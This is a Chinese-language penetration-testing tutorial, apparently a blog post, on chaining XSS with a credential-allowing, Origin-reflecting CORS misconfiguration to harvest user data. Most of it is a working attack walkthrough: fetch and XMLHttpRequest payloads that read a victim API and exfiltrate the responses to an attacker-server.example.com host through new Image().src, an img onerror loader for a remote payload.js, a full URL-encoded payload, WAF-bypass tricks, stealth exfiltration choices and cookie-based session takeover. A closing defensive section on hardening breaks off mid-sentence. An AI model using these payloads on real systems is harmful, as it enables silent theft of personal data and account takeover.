據(jù)收割攻擊鏈路的原理與實戰(zhàn)復(fù)現(xiàn))
1. 組合拳思路解析XSS和CORS怎么就打到了一起先聊一個很現(xiàn)實的問題單看XSS跨站腳本和CORS跨域資源共享很多人都不陌生但真正把它們串成一條完整的攻擊鏈路卻很少有人能說清楚。我早期做滲透測試的時候也是這樣XSS拿下了也就彈個alert證明一下存在然后寫進報告收工。但有一次在某業(yè)務(wù)系統(tǒng)的授權(quán)測試中我偶然發(fā)現(xiàn)在目標(biāo)站點的某個接口上CORS配置居然把信任域直接設(shè)成了通配符加反射來源而恰好旁邊就躺著一個反射型XSS點——這兩個漏洞單個看都屬于中??僧?dāng)攻擊者精心拼接起來就變成了一條可以靜默竊取用戶數(shù)據(jù)的完整收割鏈。所謂的“XSSCORS組合拳”本質(zhì)上是把兩個不同維度的問題串聯(lián)XSS負(fù)責(zé)在受害者瀏覽器里執(zhí)行JavaScript而CORS配置錯誤則負(fù)責(zé)擴寬跨域讀取數(shù)據(jù)的權(quán)限邊界。光有XSS你只能在同一源內(nèi)操作DOM、發(fā)同源請求跨域讀取數(shù)據(jù)會被同源策略擋住光有CORS配置錯誤你還要依賴攻擊者能控制受害者的瀏覽器去發(fā)起請求——釣魚、社工、惡意網(wǎng)站跳轉(zhuǎn)哪個都不夠隱蔽。組合之后的效果是我在測試中很常用的思路用XSS作為“撬棍”撬開受害者的瀏覽器執(zhí)行環(huán)境再借錯誤的CORS配置去讀取本不該被讀取的跨域響應(yīng)。整個攻擊鏈路的終點就是用戶數(shù)據(jù)被批量拉走放在我的服務(wù)器上等著看——當(dāng)然這是在靶場和授權(quán)系統(tǒng)里做驗證生產(chǎn)環(huán)境沒干過這種事。那你肯定要問了這個組合到底適合什么場景什么樣的項目能這樣打根據(jù)我的經(jīng)驗典型的目標(biāo)系統(tǒng)通常有三個特征第一存在可被利用的XSS點哪怕是存儲型、反射型都行不要求權(quán)限多高第二目標(biāo)API或頁面存在CORS信任策略配置缺陷比如把Origin原樣反射、信任了不可控的域、甚至直接開了Access-Control-Allow-Origin: *還配合了Access-Control-Allow-Credentials: true第三目標(biāo)站點的會話憑據(jù)走的是Cookie或者Authorization頭這樣跨域請求才有攜帶憑證的價值。如果你的目標(biāo)同時滿足這三條那這套組合拳基本就是“知識改變命運”式的高效比單點爆破畫面感強太多了。這篇文章的定位是給有一定Web安全基礎(chǔ)、想理解漏洞組合而非只會單點掃描的人看的。我會把原理、適用條件、完整復(fù)現(xiàn)過程、問題排查方法以及防御側(cè)的加固策略一次性講透所有代碼都是基于授權(quán)靶場和本地實驗環(huán)境整理的。順著這條鏈路走完你就會明白為什么現(xiàn)在越來越多的SRC報告把XSS和CORS綁定提交——不是安全研究者喜歡“報告注水”而是這類組合漏洞的實際影響確實遠(yuǎn)大于兩個漏洞各自的影響之和。2. 前置知識補課XSS和CORS各自是怎么工作的2.1 XSS的本質(zhì)打破“信任用戶輸入”的默認(rèn)假設(shè)XSS的全稱是Cross-Site Scripting中文叫跨站腳本。它利用的是Web應(yīng)用對用戶輸入處理不當(dāng)、過濾不嚴(yán)的問題讓惡意HTML或JavaScript代碼被瀏覽器當(dāng)成頁面的一部分執(zhí)行。從分類上說主流分三種反射型一次性藏在URL里、存儲型持久化躺在數(shù)據(jù)庫里和DOM型不經(jīng)過服務(wù)端純前端DOM解析導(dǎo)致。理解XSS對組合攻擊路線的意義關(guān)鍵在于認(rèn)清它的能力模型。一次成功的XSS意味著攻擊者能在受害者的瀏覽器里以受害者的身份執(zhí)行任意JavaScript——注意這個“受害者身份”四個字它決定了后續(xù)所有跨域請求都帶著真實的Cookie、真實的Token、真實的登錄態(tài)。很多開發(fā)者覺得XSS無非就是彈個框、改個頁面文字影響很低但實際上在組合漏洞里XSS扮演的是“代碼執(zhí)行入口”的角色影響力瞬間放大到數(shù)據(jù)層面。我在項目里衡量XSS可利用性的時候最看重三個維度。一是觸發(fā)條件是否穩(wěn)定存儲型肯定優(yōu)于反射型因為反射型還要誘導(dǎo)用戶點鏈接用戶如果用的是現(xiàn)代瀏覽器內(nèi)置的XSS過濾器現(xiàn)在叫XSS Auditor或類似機制雖然很多已經(jīng)改版了可能還會攔截二是控制范圍有多大一點能Insert多少字符、能不能帶出站外請求、能不能引用外部JS三是目標(biāo)頁面所在的環(huán)境是否有重要的接口權(quán)限和敏感數(shù)據(jù)。三者都滿足的情況下XSS就已經(jīng)不是“存在漏洞”那么簡單了而是“存在被利用的通道”。2.2 CORS的機制跨域請求怎么被放行或被攔截CORS全稱是Cross-Origin Resource Sharing是瀏覽器基于同源策略之上的一種“受控放行”機制。默認(rèn)情況下A域名里的JavaScript是不能讀取B域名接口響應(yīng)的但Web業(yè)務(wù)又確實需要跨域調(diào)用于是CORS規(guī)范出現(xiàn)服務(wù)器在響應(yīng)頭里通過Access-Control-Allow-Origin告訴瀏覽器“我這個接口允許哪些來源的跨域請求讀取響應(yīng)”配合Access-Control-Allow-Credentials聲明是否允許攜帶Cookie等憑證。關(guān)鍵點來了CORS是瀏覽器的強制機制但對服務(wù)器的配置沒有強制約束。如果配置員圖省事把Access-Control-Allow-Origin寫死成*或者直接從請求頭Origin中反射來源那瀏覽器就會認(rèn)為“服務(wù)器主動授權(quán)我這個來源跨域讀取”同源策略的防線就形同虛設(shè)了。尤其是Access-Control-Allow-Origin: *和Access-Control-Allow-Credentials: true同時出現(xiàn)時按照規(guī)范瀏覽器是會拒絕攜帶Cookie的——真正危險的是那種“反射任意Origin 允許Credentials”的組合這才是攻擊者請求一個來源就能拿到帶Cookie跨域響應(yīng)的情況。需要額外提醒的是CORS并不攔截“請求發(fā)出”只限制“響應(yīng)讀取”。就算服務(wù)器沒有配置CORS跨域請求本身也能送到服務(wù)器服務(wù)器該改數(shù)據(jù)還是改數(shù)據(jù)只不過攻擊者的JavaScript讀不到響應(yīng)內(nèi)容。這就是為什么很多CSRF漏洞即使沒有CORS也能利用——攻擊者不需要讀取響應(yīng)執(zhí)行寫操作就行。而CORS配置錯誤的殺傷力在于它把“盲打”變成了“明取”攻擊者不僅能讓受害者的瀏覽器發(fā)請求還能拿到返回的具體數(shù)據(jù)比如個人信息、訂單列表、接口密鑰。2.3 為什么單漏洞和組合漏洞的攻擊效果完全不同單獨一個XSS在注入站點內(nèi)部可以做很多事篡改頁面、竊取同源Cookie、以用戶身份發(fā)起同源操作。但瀏覽器同源策略一攔想讀取其他子域名或其他業(yè)務(wù)域的數(shù)據(jù)就很吃力除非目標(biāo)站點把所有服務(wù)都收斂在同一個源里。單獨一個CORS配置錯誤雖然理論上能跨域讀接口數(shù)據(jù)但攻擊者無法憑空把自己的惡意腳本送到受害者的瀏覽器里執(zhí)行要么騙用戶點擊惡意鏈接要么在其他站點掛馬跳轉(zhuǎn)成功率不穩(wěn)定。組合之后邏輯就順了XSS負(fù)責(zé)“進場”CORS負(fù)責(zé)“擴大戰(zhàn)果”。XSS注入一段腳本這段腳本在受害者瀏覽器里動態(tài)構(gòu)造針對目標(biāo)API的跨域請求利用錯誤的CORS配置讀取響應(yīng)然后把數(shù)據(jù)回傳到攻擊者的服務(wù)器。整個過程受害者完全無感數(shù)據(jù)在后臺靜默流轉(zhuǎn)攻擊者拿到的不是一枚單純的會話令牌而是整片業(yè)務(wù)數(shù)據(jù)。我用一個生活化的類比來幫助理解XSS就像你偷偷溜進了一棟大樓的監(jiān)控室能在里面操作屏幕同源策略相當(dāng)于每塊屏幕只能看對應(yīng)房間的監(jiān)控畫面而CORS配置錯誤就相當(dāng)于有人把某些屏幕的權(quán)限設(shè)置成了“任何人拿到這個房間的鑰匙就能看”。組合攻擊就是“溜進監(jiān)控室XSS 拿到跨房間的鑰匙CORS配置缺陷”最終達(dá)成監(jiān)控全樓讀取跨域數(shù)據(jù)的效果。理解了這一層后面的復(fù)現(xiàn)步驟就是順?biāo)浦鄣氖铝恕?. 組合攻擊鏈路的設(shè)計核心要點與每一步背后的邏輯3.1 攻擊鏈路線索拆解從注入點到跨域讀取的完整路徑組合攻擊鏈路不能靠碰運氣每一步都需要精確設(shè)計和驗證。我在模擬項目X的靶場里復(fù)現(xiàn)時把整條鏈路拆成五個階段每個階段的輸入輸出都是環(huán)環(huán)相扣的像流水線一樣運轉(zhuǎn)。你可以直接把下面的路徑當(dāng)成一張路線圖來參考第一階段是漏洞發(fā)現(xiàn)。對目標(biāo)系統(tǒng)做XSS點探測同時對API接口做CORS策略探測。這兩個動作可以并行但最終要把結(jié)果匯總到一起判斷可行性。第二階段是注入點利用。選定一個可穩(wěn)定觸發(fā)XSS的點位在靶場里我會選擇搜索框或者昵稱字段這類常見反射點把JavaScript代碼通過合適的編碼、閉合和事件觸發(fā)方式注入進去保證代碼成功執(zhí)行。第三階段是跨域請求構(gòu)造。XSS腳本內(nèi)部用fetch或XMLHttpRequest向目標(biāo)API發(fā)起跨域請求請求頭里明確帶上Origin字段——這個字段的值要和目標(biāo)CORS策略信任模式匹配確保瀏覽器允許讀取響應(yīng)。第四階段是數(shù)據(jù)回傳。XSS腳本讀取到響應(yīng)后把數(shù)據(jù)拼接成一個帶參URL再以new Image().src或者動態(tài)創(chuàng)建cript標(biāo)簽等方式發(fā)出回傳請求最終落到攻擊者自己的服務(wù)器上。第五階段是驗證閉環(huán)。攻擊者服務(wù)器收到數(shù)據(jù)后解析日志確認(rèn)數(shù)據(jù)完整性然后整個攻擊鏈路的PoC才算跑通。這一步是很多人容易忽略的——光看到代碼執(zhí)行還不夠必須確認(rèn)數(shù)據(jù)真的“出來了”組合利用才算成功。我在設(shè)計鏈路時一直堅持一個原則每一步都要盡量“隱身”。比如構(gòu)造跨域請求時用fetch而不是XMLHttpRequest代碼簡潔、不出錯概率低比如回傳數(shù)據(jù)時選用new Image()方式即使被網(wǎng)絡(luò)層抓包也只是一個正常的圖片請求不會暴露意圖。攻擊鏈路的優(yōu)雅程度往往決定了它在實戰(zhàn)環(huán)境里的可靠性。3.2 工具選型與瓶頸哪些環(huán)節(jié)最容易把人卡住組合攻擊從頭到尾涉及大量信息搜集、驗證和調(diào)試環(huán)節(jié)工具選不對能讓人抓狂一整天。我把常用工具按照用途和優(yōu)先級別整理成了一張表你可以對照著參考工具/平臺用途定位使用心得瀏覽器開發(fā)者工具手工驗證CORS行為、調(diào)試Payload網(wǎng)絡(luò)面板里直接查看響應(yīng)頭省去了手工構(gòu)造請求的麻煩Burp SuiteHTTP請求篡改、CORS策略探測、XSS驗證通過Repeater快速修改Origin頭觀察響應(yīng)頭是否反射是最核心的工具XSS平臺/自建接收服務(wù)器驗證XSS是否觸發(fā)、接收回傳數(shù)據(jù)自建時用Python寫個簡單的HTTP Server接收日志即可靈活可控在線編碼工具/Payload生成器對各類型Payload做編碼繞過注意環(huán)境隔離有些在線工具本身就有收集Payload的嫌疑敏感項目慎用自動化漏洞掃描器輔助發(fā)現(xiàn)XSS和CORS問題這類工具的用處是縮小范圍千萬別直接信任掃描結(jié)果誤報率很高工具的抉擇背后是對攻擊階段的理解。CORS策略探測階段Burp的Repeater比任何腳本都好用因為你要快速改Origin頭看響應(yīng)變化反復(fù)調(diào)試的體驗至關(guān)重要。XSS驗證階段直接用瀏覽器控制臺注入十幾次比每次跑Burp省時間。數(shù)據(jù)回傳階段自建一個帶請求日志的Python服務(wù)器最靠譜第三方平臺雖然省事但你無法確定它會不會把你的數(shù)據(jù)再賣給別的人。實際測試中容易被卡住的瓶頸有三個。第一個是CORS策略的細(xì)節(jié)判定——很多接口雖然有Access-Control-Allow-Origin反射但沒有開Access-Control-Allow-Credentials這種屬于“能讀不能帶憑證”對Cookie型業(yè)務(wù)影響直接少了一半判定要準(zhǔn)確。第二個是XSS觸發(fā)時機的把握——有些反射點需要特定編碼或雙層編碼才能繞過WAF這時候不能蠻干要分析目標(biāo)的技術(shù)棧和過濾方式。第三個是回傳服務(wù)器可達(dá)性——如果你的VPS或服務(wù)器被目標(biāo)網(wǎng)絡(luò)策略攔了payload再完美也只能自嗨得提前確認(rèn)外聯(lián)通暢。3.3 為什么這套組合特別適合“用戶數(shù)據(jù)收割”這一目標(biāo)先說結(jié)論在Web前端能獲取的數(shù)據(jù)里CORS放開跨域讀取的那部分恰好就是我們在組合攻擊里最想拿的那部分。原因很簡單現(xiàn)代業(yè)務(wù)的架構(gòu)往往是“統(tǒng)一登錄 多端接口”用戶的主數(shù)據(jù)個人信息、訂單、地址都集中在幾個核心API里。這些API內(nèi)部顯然是要校驗登錄態(tài)的但面對跨域讀取的CORS策略卻不設(shè)防。攻擊者拿到XSS執(zhí)行權(quán)限后只要把腳本里的請求地址對準(zhǔn)這些核心API就能以受害者身份讀取全部個人數(shù)據(jù)。在模擬項目X的復(fù)現(xiàn)中我構(gòu)造了一個攻擊頁面用一個存儲型XSS掛到目標(biāo)站點的用戶資料頁訪問該頁面的用戶Cookie自動被帶到跨域請求里目標(biāo)API把用戶的手機號、郵箱、收貨地址和最近訂單列表全部吐出來數(shù)據(jù)回傳我的接收服務(wù)器后我再把這些記錄和Cookie里的會話令牌整合登錄態(tài)直接接管。是不是感覺有點太順了這就是為什么組合漏洞的影響級別會被拉得那么高——因為數(shù)據(jù)的價值太直接了。還有一點值得單獨說明很多系統(tǒng)的“用戶數(shù)據(jù)”不只是個人信息還包括上傳的私有文件、好友列表、群成員信息等。這些數(shù)據(jù)對應(yīng)的API如果也存在CORS配置缺陷配合XSS收割起來同樣毫無壓力。防御方看這類問題的時候不能只把它當(dāng)做一個技術(shù)bug來修而是要意識到“攻擊者的目標(biāo)從始至終是數(shù)據(jù)漏洞只是手段”。4. 實操落地完整復(fù)現(xiàn)一次XSSCORS組合漏洞利用4.1 環(huán)境準(zhǔn)備與靶場搭建一個干凈可控的測試空間實操之前必須把話說在前面所有步驟只能在授權(quán)靶場、CTF環(huán)境和本地實驗環(huán)境里做千萬不要拿這套流程去打任何未經(jīng)授權(quán)的線上系統(tǒng)。我這里搭建的是一個完全本地化的模擬環(huán)境分為靶機端和攻擊者端全部跑在Docker容器里網(wǎng)絡(luò)相互隔離也不會影響外部網(wǎng)絡(luò)。靶機端我用了經(jīng)典的組合一個基于Express框架寫的Web應(yīng)用模擬一個帶登錄功能的用戶中心。它有兩條路由一條是/search?q反射型XSS點直接把參數(shù)值拼接到HTML里沒有任何過濾另一條是/api/userinfo接口返回當(dāng)前用戶的手機號、郵箱和最近訂單同時該接口的CORS配置是通過中間件加了一行響應(yīng)頭把Origin請求頭原樣反射到Access-Control-Allow-Origin并且置Access-Control-Allow-Credentials: true這是個非常有代表性的錯誤配置示例。攻擊者端跑著一個Python寫的回傳服務(wù)器默認(rèn)監(jiān)聽8080端口收到GET請求就把URL參數(shù)里的數(shù)據(jù)記錄到本地日志文件。整個環(huán)境就三個容器靶機Web服務(wù)、受害者瀏覽器我用的是本機的Chrome配合一個代理指向靶機、攻擊者回傳服務(wù)器。搭建完成后我先手工在瀏覽器里登錄了一下靶機后臺確保存在有效的會話Cookie然后把整條鏈路按下面的步驟跑通。4.2 XSS注入Payload從觸發(fā)條件到編碼繞過的完整構(gòu)造在靶場的/search頁面輸入?yún)?shù)q會被直接帶進搜索結(jié)果頁的h1標(biāo)簽里。構(gòu)造反射型XSS的經(jīng)典方式是把q的值寫成亂閉合加腳本的形式比如q/h1scriptalert(1)/script但這個太粗糙了實戰(zhàn)里會被各種過濾機制攔住。我在模擬項目X里構(gòu)造的是一個更貼合實際場景的Payload目標(biāo)是不彈窗、不暴露攻擊意圖、內(nèi)容盡可能短為后續(xù)執(zhí)行跨域請求腳本做鋪路。核心腳本拆開看是這樣的var xhr new XMLHttpRequest(); xhr.open(GET, http://victim-api.example.com/api/userinfo, true); xhr.withCredentials true; xhr.onreadystatechange function() { if (xhr.readyState 4 xhr.status 200) { // 數(shù)據(jù)拿到后編碼成參數(shù)拼到回傳地址上 var img new Image(); img.src http://attacker-server.example.com:8080/collect?data btoa(unescape(encodeURIComponent(xhr.responseText))); } }; xhr.send();當(dāng)然XSS注入點不一定永遠(yuǎn)是裸的script插入很多系統(tǒng)的過濾規(guī)則會攔截script標(biāo)簽這時候就需要考慮用事件屬性或svg標(biāo)簽觸發(fā)的替代方案。比如在真實反饋中我遇到過過濾了script字符串但沒過濾img標(biāo)簽的情況就可以用img srcx onerrorvar sdocument.createElement(script);s.srchttp://attacker-server.example.com/payload.js;document.body.appendChild(s)這種方式的關(guān)鍵在于“外鏈腳本”把復(fù)雜度全部收斂到攻擊者服務(wù)器的JS文件里注入點只留一個非常短的加載器這樣既繞過了多數(shù)基于標(biāo)簽黑名單的過濾又方便后續(xù)迭代payload不用反復(fù)重新注入。構(gòu)造payload的時候有兩點坑我踩過需要提醒你注意。第一點是編碼環(huán)境如果你在瀏覽器控制臺手動粘貼payload時會觸發(fā)編輯器自動轉(zhuǎn)義導(dǎo)致傳入的引號和尖括號變成全角字符代碼直接失效我習(xí)慣用Burp或者Python腳本提交請求來避免這個問題。第二點是觸發(fā)時機反射型XSS的腳本執(zhí)行依賴頁面加載如果目標(biāo)頁面是異步渲染的你插進去的節(jié)點可能先被清空再被重繪元素事件永遠(yuǎn)綁不上——這種情況優(yōu)先考慮存儲型XSS或者使用socket加載邏輯等頁面穩(wěn)定后再執(zhí)行。4.3 CORS跨域請求的構(gòu)造細(xì)節(jié)為什么你的請求被瀏覽器攔了過去我在教新人調(diào)試組合漏洞時最常見的困惑是明明服務(wù)器返回了數(shù)據(jù)但我的跨域請求回調(diào)里就是讀不到。這個問題的根源往往是細(xì)節(jié)沒做到位跨域請求的“瀏覽器放行”邏輯有三層關(guān)卡需要全過任何一環(huán)出問題都會卡住。第一層是預(yù)檢請求。如果你的跨域請求是簡單請求GET/POST且Content-Type是表單類型瀏覽器會直接發(fā)實際請求但只要你加了自定義請求頭或者Content-Type用了application/json就會觸發(fā)OPTIONS預(yù)檢。預(yù)檢請求本身不帶Cookie、不發(fā)業(yè)務(wù)數(shù)據(jù)純粹是問服務(wù)器“我這個來源能不能這么干”。如果服務(wù)器對OPTIONS響應(yīng)里沒有正確返回CORS頭后面的實際請求根本不會發(fā)出去。第二層是實際響應(yīng)頭校驗。瀏覽器在收到實際請求的響應(yīng)后會檢查Access-Control-Allow-Origin是否包含當(dāng)前頁面的源以及Access-Control-Allow-Credentials是否為true。如果Allow-Origin返回的是*但請求攜帶了Cookie瀏覽器會直接拒絕把響應(yīng)交給JavaScript——這是規(guī)范明確規(guī)定的。第三層是憑證模式設(shè)置。在fetch里必須寫credentials: include在XMLHttpRequest里必須設(shè)置xhr.withCredentials true否則即便服務(wù)器允許帶憑證瀏覽器不會在跨域請求中攜帶Cookie后端拿不到用戶身份接口要么返回401要么返回空數(shù)據(jù)。在靶場環(huán)境里我最終調(diào)試通過的跨域請求寫法如下供參考fetch(http://victim-api.example.com/api/userinfo, { method: GET, credentials: include, headers: { Accept: application/json } }) .then(r r.json()) .then(data { var img new Image(); img.src http://attacker-server.example.com:8080/collect?data btoa(JSON.stringify(data)); });這里Accept頭不會觸發(fā)預(yù)檢屬于安全區(qū)credentials: include是必須項。我在實際項目里調(diào)試時如果看到瀏覽器控制臺報警“Response to preflight request doesnt pass access control check”或者“Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’”第一時間就是去檢查這兩條一是服務(wù)器CORS頭是否反射了允許的Origin二是Allow-Credentials和Allow-Origin匹配關(guān)系是否合法。4.4 數(shù)據(jù)回傳的隱蔽技巧new Image、navator.sendBeacon等方案的取舍跨域數(shù)據(jù)拿到手之后最忌諱的操作是把數(shù)據(jù)通過fetch再發(fā)一個POST到攻擊者服務(wù)器——瀏覽器會先發(fā)一個預(yù)檢頁面性能變差不說還容易被日志系統(tǒng)注意到。更穩(wěn)妥的做法是借助HTTP請求的基本特性繞過CORS限制發(fā)請求不需要CORS讀響應(yīng)才需要。因此數(shù)據(jù)回傳只需要構(gòu)造一個GET請求把數(shù)據(jù)塞在URL參數(shù)里即可。我常用的回傳方案有三個按推薦度排序如下方案原理優(yōu)點缺點new Image().src動態(tài)創(chuàng)建圖片請求GET攜帶參數(shù)代碼簡潔自然無CORS問題日志形態(tài)像普通圖片URL長度限制約2KB-8KB不適合大量數(shù)據(jù)navigator.sendBeacon瀏覽器異步發(fā)送POST無CORS限制可傳較大數(shù)據(jù)量不受頁面卸載影響不受你控制的請求頭內(nèi)容格式有限動態(tài)創(chuàng)建script標(biāo)簽通過JSONP風(fēng)格接口回傳可觸發(fā)回調(diào)函數(shù)靈活度高目標(biāo)服務(wù)器需要配合輸出JS格式回傳服務(wù)器要支持動態(tài)響應(yīng)綜合考慮我在單次收割時最常用的是new Image().src。原因很簡單移動端網(wǎng)關(guān)和各類安全設(shè)備對圖片請求的監(jiān)控力度遠(yuǎn)小于對跨域POST的監(jiān)控而且實現(xiàn)起來就一行代碼符合攻擊鏈路“輕量化”的原則。但如果數(shù)據(jù)量大比如要收割的是整頁用戶列表sendBeacon更靠譜它底層是一個不阻塞頁面卸載的POST雖然請求頭固定但接收端只要解析參數(shù)就行。在模擬項目X的實操記錄里我最終的PoC是把整條鏈接在XSS注入腳本里用IIFE立即執(zhí)行函數(shù)包起來避免變量污染頁面全局環(huán)境外層再包一層try/catch防止腳本出錯導(dǎo)致頁面崩潰、暴露攻擊行為。整段代碼在編輯器里壓縮后只有幾百字節(jié)復(fù)制注入沒有任何壓力。4.5 完整攻擊鏈路的演示一次從登錄用戶到數(shù)據(jù)落地的全程實錄下面是我在靶場里完整跑通的一次操作記錄按時間順序描述方便你對照復(fù)現(xiàn)第一步我以攻擊者身份向目標(biāo)Web應(yīng)用提交一個搜索請求URL編碼后的完整payload為http://victim-app.example.com/search?q%3Cimg%20src%3Dx%20onerror%3D%22var%20s%3Ddocument.createElement(script)%3Bs.src%3Dhttp%3A%2F%2Fattacker-server.example.com%2Fpayload.js%3Bdocument.body.appendChild(s)%22%3E第二步payload.js里的核心代碼自動執(zhí)行。它先嘗試請求/api/userinfo目標(biāo)服務(wù)器看到請求頭Origin: http://victim-app.example.com響應(yīng)頭里反射了同一個Origin并加上Access-Control-Allow-Credentials: true于是瀏覽器放行。這里的細(xì)節(jié)很有趣因為我在注入時讓頁面源和接口源一致所以實際請求其實算同源但只要我把頁面源換成我自己的惡意站比如誘導(dǎo)用戶訪問攻擊者頁面CORS錯誤配置就會讓跨域也變得可行。為了演示CORS跨域效果我還單獨構(gòu)造了一個惡意頁面仿冒受害者站點誘導(dǎo)用戶點擊這種情況下頁面源是http://attacker-page.example.com目標(biāo)API照樣反射了該OriginCookie照樣攜帶數(shù)據(jù)讀取成功。第三步腳本把響應(yīng)數(shù)據(jù)JSON格式化后用encodeURIComponent套了一層再btoa編碼拼到回傳地址上通過new Image().src發(fā)給攻擊者服務(wù)器。攻擊者服務(wù)器收到請求后在日志里記錄了一條GET /collect?dataMzE4MzIxOTAx...。第四步我用Python腳本解碼日志里的data參數(shù)還原出完整的用戶信息手機號、郵箱、收貨地址和訂單編號。至此從觸發(fā)XSS到數(shù)據(jù)落地的整條鏈路驗證完畢。整個流程用到的代碼和腳本我整理成了一個模擬項目X的壓縮包放在本地實驗室目錄里里面的README寫明了環(huán)境搭建步驟和復(fù)現(xiàn)順序。你如果自己搭環(huán)境建議按照這個順序來先啟動靶機服務(wù)再啟動攻擊者回傳服務(wù)器然后打開受害者瀏覽器登錄最后將兩條惡意URL分別驗證——保證每一步都驗證通過后再串起來跑否則出問題的時候不知道鍋該甩給誰。5. 實戰(zhàn)中的常見問題與排查技巧實錄5.1 問題速查表從XSS不執(zhí)行到CORS讀不到的典型故障組合漏洞調(diào)試過程中最煩人的就是“看起來都對但就是不通”。我把過去調(diào)試中反復(fù)踩過的坑整理成了一張速查表你在實操中遇到類似問題可以直接按圖索驥問題現(xiàn)象可能原因排查方向XSS注入后頁面無任何反應(yīng)參數(shù)被編碼、過濾或者拼入位置不在腳本上下文在瀏覽器開發(fā)者工具里查看最終渲染后的HTML源碼確認(rèn)payload所在位置和過濾行為XSS彈窗出現(xiàn)但外鏈腳本未加載CSP內(nèi)容安全策略限制或外聯(lián)地址被瀏覽器攔截查看控制臺是否報CSP相關(guān)警告考慮在payload中內(nèi)聯(lián)全部腳本跨域請求狀態(tài)碼200但回調(diào)讀不到數(shù)據(jù)CORS響應(yīng)頭不匹配或憑證模式未開啟查看響應(yīng)頭里的Access-Control-Allow-Origin和Access-Control-Allow-Credentials值瀏覽器提示CORS錯誤且請求為OPTIONS預(yù)檢請求未通過在服務(wù)端增加對OPTIONS請求的正確響應(yīng)返回匹配的CORS頭數(shù)據(jù)回傳為空或亂碼編碼方式不對或URL被截斷換用sendBeacon方案或者分塊傳輸攻擊者服務(wù)器沒收到任何請求目標(biāo)環(huán)境無外聯(lián)權(quán)限或防火墻攔截先換成內(nèi)網(wǎng)回傳地址或臨時在本地起HTTP服務(wù)驗證外聯(lián)鏈路以上六個問題是出現(xiàn)頻率最高的覆蓋了從注入、觸發(fā)、跨域、回傳的完整鏈路。記住一個原則組合攻擊鏈路調(diào)試是“逐層驗證絕不跳步”的過程任何一個環(huán)節(jié)的假設(shè)都要用證據(jù)去確認(rèn)而不是靠猜。5.2 調(diào)試手段的細(xì)節(jié)分享瀏覽器控制臺、Burp和自建日志的配合調(diào)試方法因人而異我用熟了的一套“三板斧”組合可以供你參考。第一板斧是瀏覽器開發(fā)者工具它負(fù)責(zé)看“瀏覽器視角”發(fā)生了什么網(wǎng)絡(luò)面板里要點開每個請求的詳情看請求頭、響應(yīng)頭、Cookies控制臺里看有沒有CORS相關(guān)報錯、有沒有JS語法錯誤Sources面板里看最終渲染的HTML節(jié)點確認(rèn)payload有沒有被完整注入。第二板斧是Burp Suite它負(fù)責(zé)看“服務(wù)器視角”發(fā)生了什么通過代理把瀏覽器的請求轉(zhuǎn)發(fā)到Burp你就能看到服務(wù)器實際收到的請求頭——尤其是Origin字段以及服務(wù)器實際返回的響應(yīng)頭。這兩個視角對照起來80%的問題都能一小時之內(nèi)定位。第三板斧是自建日志服務(wù)器它負(fù)責(zé)看“攻擊者視角”發(fā)生了什么我的接收服務(wù)器通常會在控制臺實時打印每一條收到的請求時間、來源IP、完整URL參數(shù)全覆蓋。三次調(diào)試下來你會發(fā)現(xiàn)一個規(guī)律瀏覽器提示的CORS報錯未必是服務(wù)器配置錯了也可能是你請求里沒有帶credentials導(dǎo)致瀏覽器主動限制而服務(wù)器響應(yīng)頭里明明正確的CORS配置也可能因為代理層攔截或緩存導(dǎo)致瀏覽器拿到的是空頭。這時候把三個視角的日志拼在一起才能準(zhǔn)確鎖定故障層。5.3 遇到Filter和WAF時怎么辦三層繞過思路真實業(yè)務(wù)環(huán)境里很少會像靶場一樣給你一個干干凈凈的注入點。目標(biāo)系統(tǒng)可能部署了WAFWeb應(yīng)用防火墻或者自研的Filter對關(guān)鍵字做黑名單過濾。針對這個情況我的思路分三層遞進第一層是改變觸發(fā)方式。如果script被攔改用img onerror、svg onload、video onerror等白名單標(biāo)簽加事件屬性如果屬性值被過濾考慮事件屬性是否支持fromCharCode拼接字符串來繞過簡單關(guān)鍵字匹配。第二層是改變編碼形態(tài)。HTML實體編碼、URL雙重編碼、JS Unicode編碼混著用服務(wù)器解析完一層后再交給瀏覽器解析下一層利用“解析層次多”這個特性繞過正則類的規(guī)則。第三層是改變攻擊面。當(dāng)前注入點過濾得太死就去找另一個注入點——比如同站點的搜索歷史、導(dǎo)出功能、附件名稱等地方可能過濾寬松換一個戰(zhàn)場反而輕松。值得單獨強調(diào)的是繞過過濾的前提是你對目標(biāo)的過濾邏輯有充分的探測和理解不能盲猜。我在測試中會先用一批無害的探針字符串比如xss、svg/onload、javascript:逐一提交從響應(yīng)內(nèi)容的差異中推算過濾規(guī)則覆蓋了哪些標(biāo)簽、哪些屬性、哪些關(guān)鍵字然后再對癥構(gòu)造。這個過程實際上考驗的是分析能力工具只是輔助。6. 防御側(cè)視角如何把這條攻擊鏈路的門關(guān)上6.1 從根源上阻斷XSS輸入輸出雙向治理組合攻擊的前提是XSS能成功觸發(fā)所以防住XSS是第一道閘門也是最關(guān)鍵的一道。聊到具體做法我的建議是“輸入側(cè)過濾 輸出側(cè)編碼”雙管齊下缺一不可。輸入側(cè)要對所有用戶可控的參數(shù)做合法性校驗嚴(yán)格拒絕包含、、script、javascript:等特征的輸入尤其注意不要把“過濾”和“轉(zhuǎn)義”混為一談。輸出側(cè)要按上下文使用對應(yīng)的編碼函數(shù)HTML標(biāo)簽體里用HTML實體編碼屬性值里用屬性編碼加引號轉(zhuǎn)義JavaScript字符串要處理反斜杠和引號URL參數(shù)要做URL編碼。如果團隊用的是主流框架React、Vue、Angular等框架默認(rèn)的{{ }}插值機制就已經(jīng)內(nèi)置了轉(zhuǎn)義但要注意v-html、dangerouslySetInnerHTML這類“主動關(guān)閉轉(zhuǎn)義”的坑很多XSS漏洞就是這么來的。Content-Security-PolicyCSP是第二道閘門。把script-src嚴(yán)格限制為同源或指定白名單能直接掐斷外鏈腳本加載這條路對“注入外鏈JS”的利用方式殺傷力巨大。CSP還能通過report-uri收集違反策略的行為日志幫防御側(cè)及時發(fā)現(xiàn)攻擊嘗試。我見過不少團隊知道CSP這個概念但一直沒落地理由是“業(yè)務(wù)里有用到內(nèi)聯(lián)腳本一開就掛”其實可以通過unsafe-inline加nonce或者h(yuǎn)ash的方式逐步放行不用一步到位可以先從report-only模式開始灰度。6.2 CORS配置的正確姿勢白名單模式和動態(tài)校驗實現(xiàn)CORS配置錯的根源多半是“圖省事”。正確的做法是維護一份顯式的來源白名單只對白名單內(nèi)的Origin返回對應(yīng)的Access-Control-Allow-Origin響應(yīng)頭并且永遠(yuǎn)不要讓Allow-Credentials: true和Allow-Origin: 